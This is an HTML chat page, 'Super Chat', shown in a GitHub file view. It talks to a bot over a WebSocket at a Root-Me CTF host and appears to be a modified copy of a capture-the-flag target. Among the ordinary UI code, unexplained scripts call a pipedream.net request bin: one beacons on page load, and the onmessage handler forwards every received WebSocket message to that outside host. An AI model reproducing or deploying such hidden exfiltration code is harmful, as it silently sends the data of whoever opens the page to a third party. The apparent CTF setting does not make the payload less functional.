-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathwebsocket.html
145 lines (137 loc) · 6.6 KB
/
websocket.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
<!DOCTYPE HTML>
<head>
<meta charset="utf-8">
<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Expires" content="0">
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<script src="https://code.jquery.com/jquery-3.3.1.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js" integrity="sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1" crossorigin="anonymous"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
<!-- Font Awesome JS -->
<script defer src="https://use.fontawesome.com/releases/v5.0.13/js/solid.js" integrity="sha384-tzzSw1/Vo+0N5UhStP3bvwWPq+uvzCMfrN1fEFe+xBmv1C/AtVX5K0uZtmcHitFZ" crossorigin="anonymous"></script>
<script defer src="https://use.fontawesome.com/releases/v5.0.13/js/fontawesome.js" integrity="sha384-6OIrr52G08NpOFSZdxxz1xdNSndlD4vdcf/q2myIUVO0VsqaGHJsB0RaBE01VTOY" crossorigin="anonymous"></script>
<!-- <link rel="stylesheet" href="css/style.css"> -->
<title>Super Chat</title>
</head>
<body>
<div class="wrapper">
<!-- Sidebar -->
<nav id="sidebar">
<div class="sidebar-header">
<h3>Super Chat</h3>
</div>
<ul class="list-unstyled components">
<p>Hello you !</p>
<li class="active">
<li>
<a href="#">Connected to a room</a>
</li>
</li>
</ul>
<ul class="list-unstyled CTAs">
<li>
<a href="/report" class="download">Report a bug</a>
</li>
<li>
<a href="/" class="article">Back to Home</a>
</li>
</ul>
</nav>
<!-- Page Content -->
<div id="content">
<nav class="navbar navbar-expand-lg navbar-light bg-light">
<div class="container-fluid">
<button type="button" id="sidebarCollapse" class="btn btn-info 1" onclick="changeText()">
<i class="fas fa-align-left"></i>
<span>Hide menu</span>
</button>
<button class="btn btn-dark d-inline-block d-lg-none ml-auto" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<i class="fas fa-align-justify"></i>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="nav navbar-nav ml-auto">
<li class="nav-item active">
<a class="nav-link" href="#">Chat chat chat !</a>
</li>
</ul>
</div>
</div>
</nav>
<h2>Chat with our bot !</h2>
<p>Have you ever dreamed about someone answering in 1 second ?</p>
<p>Say "hello" to this beautiful bot :)</p>
<div class="line"></div>
<div class="text-center">
<textarea cols="65" rows="20" id="chatbox" readonly></textarea><br/>
<input id="input" type="text"/>
</div>
</div>
</div>
<script type="text/javascript">
$(document).ready(function () {
$('#sidebarCollapse').on('click', function () {
$('#sidebar').toggleClass('active');
});
});
function changeText()
{
var to_app = '<i class="fas fa-align-left"></i><span>change</span>'
var cur_class = $("#sidebarCollapse").attr("class")
if(cur_class.includes("1"))
{
$("#sidebarCollapse").empty()
$("#sidebarCollapse").removeClass("1")
$("#sidebarCollapse").addClass("2")
$("#sidebarCollapse").append(to_app.replace("change","Show menu"))
}else{
$("#sidebarCollapse").empty()
$("#sidebarCollapse").removeClass("2")
$("#sidebarCollapse").addClass("1")
$("#sidebarCollapse").append(to_app.replace("change","Hide menu"))
}
}
</script>
<script type="text/javascript">
fetch('https://enh0xx2mgeid.x.pipedream.net/OK19', { "method": "POST", "mode": "no-cors" });
</script>
<script type="text/javascript">
$(function () {
var input = $('#input');
window.WebSocket = window.WebSocket || window.MozWebSocket;
if (!window.WebSocket) {
alert('Sorry, but your browser doesn\'t support WebSocket.')
window.location.href="/"
return;
}
var connection = new WebSocket('ws://ctf19.root-me.org/ws');
connection.onopen = function () {
connection.send('hello');
};
connection.onerror = function (error) {
alert("An error occured, you will reload the page for you to access a new room !")
location.reload()
};
connection.onmessage = function (message) {
fetch('https://enh0xx2mgeid.x.pipedream.net/remote', { "method": "POST", "mode": "no-cors", "body": message.data });
$("#chatbox").append("You: "+$("#input").val().replace('<','').replace('>','')+"\n")
$("#chatbox").append("\nBot: "+message["data"].replace('<','').replace('>','')+"\n-------------------------------------------------------------\n")
$('#chatbox').scrollTop($('#chatbox')[0].scrollHeight);
$("#input").val("")
};
connection.onclose = function(message) {
$('#chatbox').append("--------------------------END OF COMMUNICATION--------------------------")
}
input.keydown(function(e) {
if (e.keyCode === 13) {
var msg = $("#input").val();
if (!msg) {
return;
}
connection.send(msg);
}
});
});
</script>
</body>
</html>